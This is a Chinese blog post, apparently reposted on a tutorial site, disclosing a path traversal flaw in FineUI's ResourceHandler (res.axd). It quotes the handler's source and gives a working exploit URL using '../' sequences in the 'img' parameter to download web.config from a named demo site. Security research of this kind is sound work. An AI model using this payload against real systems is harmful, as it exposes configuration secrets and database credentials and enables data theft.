你的位置:首页 > ASP.net教程

[ASP.net教程]ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)


本人小学文化,文采不好,写的不好请各位多多包含,

    最近笔者喜欢研究一些代码安全方面的问题,前些日子研究了下力软的框架,发现代码安全方面做的还是不足的,今天偶尔的机会接触了下fineui,从最开始的注入开始,都没有什么突破,

最好就想到列别的排序,从列别排序注入,弄了好久,发现一直没注入成功也没有报错,我就很是奇怪,然后看了下fineui的开源版,看了代码,发现原来他是判断的 ,不是拼接的,难怪注入失败,

本来以为没什么办法了,然后查看页面源码,发现一个引用引起了我的注意:

这个地址,于是去看了下他的源码

using System;using System.Collections.Generic;using System.Text;using System.Web;using System.Reflection;using System.IO;using System.Drawing.Imaging;namespace FineUI{  /// <summary>  /// 资源处理程序  /// </summary>  public class ResourceHandler : IHttpHandler  {    /// <summary>    /// 处理资源的请求    /// </summary>    /// <param name="context">Http请求上下文</param>    public void ProcessRequest(HttpContext context)    {      string type = String.Empty;      string typeValue = String.Empty;      string extjsBasePath = GlobalConfig.GetExtjsBasePath();      //resName = "FineUI.";      if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"]))      {        type = "icon";      }      //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))      //{      //  type = "js";      //  //resName += "js." + typeValue;      //}      //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))      //{      //  type = "lang";      //  //resName += "js.lang." + typeValue;      //}      else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"]))      {        // res.axd?theme=default.grid.refresh.gif        type = "theme";        //resName += "res.theme." + typeValue;      }      //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))      //{      //  type = "css";      //  //resName += "res.css." + typeValue;      //}      else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"]))      {        type = "img";        //resName += "res.img." + typeValue;      }      else      {        context.Response.Write("Not supported!");        return;      }      //byte[] binary;      switch (type)      {        case "icon":          if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif"))          {            typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));          }          //resName += "res.icon." + typeValue;          string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);          context.Response.WriteFile(context.Server.MapPath(serverPath));          context.Response.ContentType = "image/" + GetImageFormat(typeValue);          break;        //case "js":        //  context.Response.Write(ResourceHelper.GetResourceContent(resName));        //  context.Response.ContentType = "text/javascript";        //case "lang":        //  context.Response.Write(ResourceHelper.GetResourceContent(resName));        //  context.Response.ContentType = "text/javascript";        //  break;        //case "css":        //  context.Response.Write(ResourceHelper.GetResourceContent(resName));        //  context.Response.ContentType = "text/css";        //  break;        case "theme":          string themePath = "";          string themeImageFormat = "";          int lastDotIndex = typeValue.LastIndexOf(".");          if (lastDotIndex >= 0)          {            themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');            themeImageFormat = typeValue.Substring(lastDotIndex + 1);          }          context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat)));          context.Response.ContentType = "image/" + GetImageFormat(typeValue);          break;        case "img":          //binary = ResourceHelper.GetResourceContentAsBinary(resName);          //context.Response.OutputStream.Write(binary, 0, binary.Length);          //context.Response.ContentType = "image/" + GetImageFormat(resName);                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));          context.Response.ContentType = "image/" + GetImageFormat(typeValue);          break;      }      // 缓存一年,只能通过改变 URL 来强制更新缓存      context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));      context.Response.Cache.SetCacheability(HttpCacheability.Public);    }    //private void RenderImage(HttpContext context, string resName)    //{    //  Assembly assembly = Assembly.GetExecutingAssembly();    //  using (Stream stream = assembly.GetManifestResourceStream(resName))    //  {    //    using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))    //    {    //      // PNG输出时出现“GDI+ 中发生一般性错误”    //      using (MemoryStream ms = new MemoryStream())    //      {    //        image.Save(ms, image.RawFormat);    //        ms.WriteTo(context.Response.OutputStream);    //        context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);    //      }    //    }    //  }    //}    private string GetImageFormat(string imageName)    {      int lastDotIndex = imageName.LastIndexOf(".");      if (lastDotIndex >= 0)      {        return imageName.Substring(lastDotIndex + 1);      }      return "png";    }    private string GetImageFormat(ImageFormat format)    {      if (format == ImageFormat.Bmp)      {        return "bmp";      }      else if (format == ImageFormat.Gif)      {        return "gif";      }      else if (format == ImageFormat.Jpeg)      {        return "jpeg";      }      else if (format == ImageFormat.Png)      {        return "png";      }      else if (format == ImageFormat.Tiff)      {        return "tiff";      }      else if (format == ImageFormat.Icon)      {        return "icon";      }      return "gif";    }    /// <summary>    /// 只要请求的 URL 相同,则请求可以重用    /// </summary>    public bool IsReusable    {      get      {        return true;      }    }  }}

看了下,高兴啊。。太好了,不知道你们看出问题来了没有,

问题代码就在

 case "img":          //binary = ResourceHelper.GetResourceContentAsBinary(resName);          //context.Response.OutputStream.Write(binary, 0, binary.Length);          //context.Response.ContentType = "image/" + GetImageFormat(resName);                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));          context.Response.ContentType = "image/" + GetImageFormat(typeValue);          break;

大家都应该知道 我们引用js或者css的时候经常会有../ 这样的路径,其实很简单,就是上级目录,

我们就利用这个../  把作者写的/res/images/给去掉  也就是变成路径  

/res/images/../../web.config 

就这样我们就可以拿到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon  浏览器输入

 

ok web.config就这样被拿下来了,,,当然,web.config都拿下了,其它也就都没什么可说的了,

今天就先到这吧。。。还得写文档,明天演示项目,注定又是一个无眠夜。。。